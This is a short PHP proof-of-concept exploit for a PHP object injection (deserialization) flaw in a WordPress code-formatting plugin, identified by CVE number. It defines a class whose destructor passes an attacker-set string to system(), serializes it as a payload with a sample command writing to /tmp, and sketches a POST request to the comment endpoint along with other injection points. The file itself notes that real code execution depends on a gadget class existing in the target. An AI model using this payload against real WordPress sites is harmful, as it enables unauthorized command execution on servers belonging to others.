<?php // CVE-2025-49386 PHP Object Injection PoC // Target: WordPress Preserve Code Formatting Plugin <= 4.0.1 // Vulnerability: Deserialization of Untrusted Data // Gadget chain for PHP object injection class EvilClass { public $cmd; public function __destruct() { // Execute arbitrary command when object is destroyed system($this->cmd); } } // Generate malicious serialized payload $evil_object = new EvilClass(); $evil_object->cmd = 'id > /tmp/pwned.txt'; // Example command $payload = serialize($evil_object); echo "Malicious Payload: " . $payload . "\n"; // For WordPress, the payload would need to be injected through // plugin's vulnerable input field, typically through: // - Comment content // - Post content with shortcode // - Custom fields or metadata // Example POST request structure: /* POST /wp-comments-post.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded comment= serialized_payload_here &submit=Submit Comment */ // Note: This PoC requires a suitable gadget chain in the application // to achieve code execution. The actual exploitation depends on // available classes in WordPress and installed plugins. ?>
